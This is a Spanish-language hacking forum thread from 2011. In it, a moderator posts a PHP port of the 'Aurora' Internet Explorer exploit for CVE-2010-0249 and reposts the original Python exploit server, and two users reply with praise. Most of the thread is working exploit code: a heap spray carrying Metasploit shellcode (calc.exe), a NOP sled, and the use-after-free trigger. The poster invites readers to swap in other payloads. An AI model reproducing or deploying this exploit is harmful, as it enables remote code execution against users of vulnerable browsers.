elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Exploit para CVE-2010-0249 migrado a PHP (ejecucion remota ie6, 7 y 8)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Exploit para CVE-2010-0249 migrado a PHP (ejecucion remota ie6, 7 y 8)  (Leído 6,123 veces)
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Exploit para CVE-2010-0249 migrado a PHP (ejecucion remota ie6, 7 y 8)
« en: 11 Diciembre 2011, 23:48 pm »

Estaba revisando el CVE:
http://technet.microsoft.com/en-us/security/advisory/979352

Es una falla de internet explorer 7 y 8 de ejecución remota de código.
Encontré un código de ejemplo en packetstorm pero en python llamado "aurora" asi que lo estudié y lo migré a php para ejecutarlo de forma online en servidores webs, solo basta con modificar el payload para jugar un poco con recursos remotos .js autoejecutables.

Testeado en virtual con windows 7 internet explorer 8 y windows xp internet explorer 6.

Código
  1. <?php
  2. if(isset($_GET['aurora'])){
  3. header('Content-Type: image/gif');
  4. echo "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff".
  5. "\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44".
  6. "\x01\x00\x3b";
  7. }
  8.  
  9. function convert_to_utf16($payload){
  10. $enc_payload = '';
  11. foreach(range(0, strlen($payload), 2) as $i){
  12. $num = 0;
  13. foreach(range(0, 2) as $j){
  14. $num = $num + ((ord($payload[$i + $j]) & 0xff) << ($j * 8));
  15. }
  16. if($num > 0)
  17. $enc_payload .= ('%%u%04x' % $num);
  18. }
  19. return $enc_payload;
  20. }
  21. ?>
  22. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  23. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  24. <head>
  25. <script>
  26. var obj, event_obj;
  27.  
  28. function spray_heap(){
  29. var chunk_size, payload, nopsled;
  30. chunk_size = 0x80000;
  31. payload = unescape("<?php echo convert_to_utf16(
  32. "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73".
  33. "\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e".
  34. "\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a".
  35. "\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97".
  36. "\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56".
  37. "\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85".
  38. "\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1".
  39. "\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85".
  40. "\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02".
  41. "\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e".
  42. "\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61".
  43. "\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e"
  44. ); ?>");
  45. nopsled = unescape("%u0a0a%u0a0a");
  46. while (nopsled.length < chunk_size)
  47. nopsled += nopsled;
  48. nopsled_len = chunk_size - (payload.length + 20);        
  49. nopsled = nopsled.substring(0, nopsled_len);
  50. heap_chunks = new Array();
  51. for (var i = 0 ; i < 200 ; i++)
  52. heap_chunks[i] = nopsled + payload;
  53. }
  54.  
  55. function initialize(){
  56. obj = new Array();
  57. event_obj = null;
  58. for (var i = 0; i < 200 ; i++ )
  59. obj[i] = document.createElement("COMMENT");
  60. }
  61.  
  62. function ev1(evt){
  63. event_obj = document.createEventObject(evt);
  64. document.getElementById("sp1").innerHTML = "";
  65. window.setInterval(ev2, 1);
  66. }
  67.  
  68. function ev2(){
  69. var data, tmp;
  70. data = "";
  71. tmp = unescape("%u0a0a%u0a0a");
  72. for (var i = 0 ; i < 4 ; i++)
  73. data += tmp;
  74. for (i = 0 ; i < obj.length ; i++ )
  75. obj[i].data = data;
  76. event_obj.srcElement;
  77. }
  78.  
  79. function check(){
  80. if (navigator.userAgent.indexOf("MSIE") == -1)
  81. return false;
  82. return true;  
  83. }
  84.  
  85. if(check()){
  86. initialize();
  87. spray_heap();              
  88. }else
  89. window.location = "about:blank";
  90. </script>
  91. </head>
  92. <body>
  93. <span id="sp1">
  94. <img src="?aurora" onload="ev1(event);">
  95. </span>        
  96. </body>
  97. </html>

El exploit original en python:
http://packetstormsecurity.org/1001-exploits/ie_aurora.py.txt
Código
  1. #
  2. #   Author : Ahmed Obied (ahmed.obied@gmail.com)
  3. #
  4. #   This program acts as a web server that generates an exploit to
  5. #   target a vulnerability (CVE-2010-0249) in Internet Explorer.
  6. #   The exploit was tested using Internet Explorer 6 on Windows XP SP2.
  7. #   The exploit's payload spawns the calculator.
  8. #
  9. #   Usage  : python ie_aurora.py [port number]
  10. #  
  11.  
  12. import sys
  13. import socket
  14.  
  15. from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
  16.  
  17. class RequestHandler(BaseHTTPRequestHandler):
  18.  
  19.    def convert_to_utf16(self, payload):
  20.        enc_payload = ''
  21.        for i in range(0, len(payload), 2):
  22.            num = 0
  23.            for j in range(0, 2):
  24.                num += (ord(payload[i + j]) & 0xff) << (j * 8)
  25.            enc_payload += '%%u%04x' % num
  26.        return enc_payload
  27.  
  28.    def get_payload(self):
  29.        # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
  30.        # http://metasploit.com
  31.        payload  = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
  32.        payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
  33.        payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
  34.        payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
  35.        payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
  36.        payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
  37.        payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
  38.        payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
  39.        payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
  40.        payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
  41.        payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
  42.        payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
  43.        return self.convert_to_utf16(payload)
  44.  
  45.    def get_exploit(self):
  46.        exploit = '''
  47.        <html>
  48.        <head>
  49.            <script>
  50.  
  51.            var obj, event_obj;
  52.  
  53.            function spray_heap()
  54.            {
  55.                var chunk_size, payload, nopsled;
  56.  
  57.                chunk_size = 0x80000;
  58.                payload = unescape("<PAYLOAD>");
  59.                nopsled = unescape("<NOP>");
  60.                while (nopsled.length < chunk_size)
  61.                    nopsled += nopsled;
  62.                nopsled_len = chunk_size - (payload.length + 20);        
  63.                nopsled = nopsled.substring(0, nopsled_len);
  64.                heap_chunks = new Array();
  65.                for (var i = 0 ; i < 200 ; i++)
  66.                    heap_chunks[i] = nopsled + payload;
  67.            }
  68.  
  69.            function initialize()
  70.            {
  71.                obj = new Array();
  72.                event_obj = null;
  73.                for (var i = 0; i < 200 ; i++ )
  74.                    obj[i] = document.createElement("COMMENT");
  75.            }
  76.  
  77.            function ev1(evt)
  78.            {
  79.                event_obj = document.createEventObject(evt);
  80.                document.getElementById("sp1").innerHTML = "";
  81.                window.setInterval(ev2, 1);
  82.            }
  83.  
  84.            function ev2()
  85.            {
  86.                var data, tmp;
  87.  
  88.                data = "";
  89.                tmp = unescape("%u0a0a%u0a0a");
  90.                for (var i = 0 ; i < 4 ; i++)
  91.                    data += tmp;
  92.                for (i = 0 ; i < obj.length ; i++ ) {
  93.                    obj[i].data = data;
  94.                }
  95.                event_obj.srcElement;
  96.            }
  97.  
  98.            function check()
  99.            {
  100.                if (navigator.userAgent.indexOf("MSIE") == -1)
  101.                    return false;
  102.                return true;  
  103.            }
  104.  
  105.            if (check()) {
  106.                initialize();
  107.                spray_heap();              
  108.            }
  109.            else
  110.                window.location = 'about:blank'
  111.  
  112.            </script>
  113.        </head>
  114.        <body>
  115.            <span id="sp1">
  116.            <img src="aurora.gif" onload="ev1(event)">
  117.            </span>        
  118.        </body>
  119.        </html>
  120.        '''
  121.        exploit = exploit.replace('<PAYLOAD>', self.get_payload())
  122.        exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
  123.        return exploit
  124.  
  125.    def get_image(self):
  126.        content  = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
  127.        content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
  128.        content += '\x01\x00\x3b'
  129.        return content
  130.  
  131.    def log_request(self, *args, **kwargs):
  132.        pass
  133.  
  134.    def do_GET(self):
  135.        try:
  136.            if self.path == '/':
  137.                print
  138.                print '[-] Incoming connection from %s' % self.client_address[0]
  139.                self.send_response(200)
  140.                self.send_header('Content-Type', 'text/html')
  141.                self.end_headers()
  142.                print '[-] Sending exploit to %s ...' % self.client_address[0]
  143.                self.wfile.write(self.get_exploit())
  144.                print '[-] Exploit sent to %s' % self.client_address[0]
  145.            elif self.path == '/aurora.gif':      
  146.                self.send_response(200)
  147.                self.send_header('Content-Type', 'image/gif')
  148.                self.end_headers()
  149.                self.wfile.write(self.get_image())
  150.        except:
  151.            print '[*] Error : an error has occured while serving the HTTP request'
  152.            print '[-] Exiting ...'
  153.            sys.exit(-1)
  154.  
  155.  
  156. def main():
  157.    if len(sys.argv) != 2:
  158.        print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
  159.        sys.exit(0)
  160.    try:
  161.        port = int(sys.argv[1])
  162.        if port < 1024 or port > 65535:
  163.            raise ValueError
  164.        try:
  165.            serv = HTTPServer(('', port), RequestHandler)
  166.            ip = socket.gethostbyname(socket.gethostname())
  167.            print '[-] Web server is running at http://%s:%d/' % (ip, port)
  168.            try:
  169.                serv.serve_forever()
  170.            except:
  171.                print '[-] Exiting ...'
  172.        except socket.error:
  173.            print '[*] Error : a socket error has occurred'
  174.        sys.exit(-1)    
  175.    except ValueError:
  176.        print '[*] Error : an invalid port number was given'
  177.        sys.exit(-1)
  178.  
  179. if __name__ == '__main__':
  180.    main()
  181.  
En línea

adastra
Endless Learner
Ex-Staff
*
Desconectado Desconectado

Mensajes: 885


http://thehackerway.com/


Ver Perfil WWW
Re: Exploit para CVE-2010-0249 migrado a PHP (ejecucion remota ie6, 7 y 8)
« Respuesta #1 en: 12 Diciembre 2011, 13:33 pm »

Buen trabajo!  ;-)
En línea

pianista
Colaborador
***
Desconectado Desconectado

Mensajes: 5.654


Hacking Wireless Live!


Ver Perfil WWW
Re: Exploit para CVE-2010-0249 migrado a PHP (ejecucion remota ie6, 7 y 8)
« Respuesta #2 en: 13 Diciembre 2011, 00:43 am »

Envidia es lo que me das WHK, eres un grande, si señor!

Saludos
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Como mando un exploit a una ip remota ?
Hacking
3lyatmaN 3 3,578 Último mensaje 23 Enero 2014, 17:05 pm
por ThinkByYourself
SystemDestructor || Pograma para destruir un sistema por ejecución remota SSH
Scripting
ipmicrobious 3 1,727 Último mensaje 13 Noviembre 2016, 17:40 pm
por engel lex
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines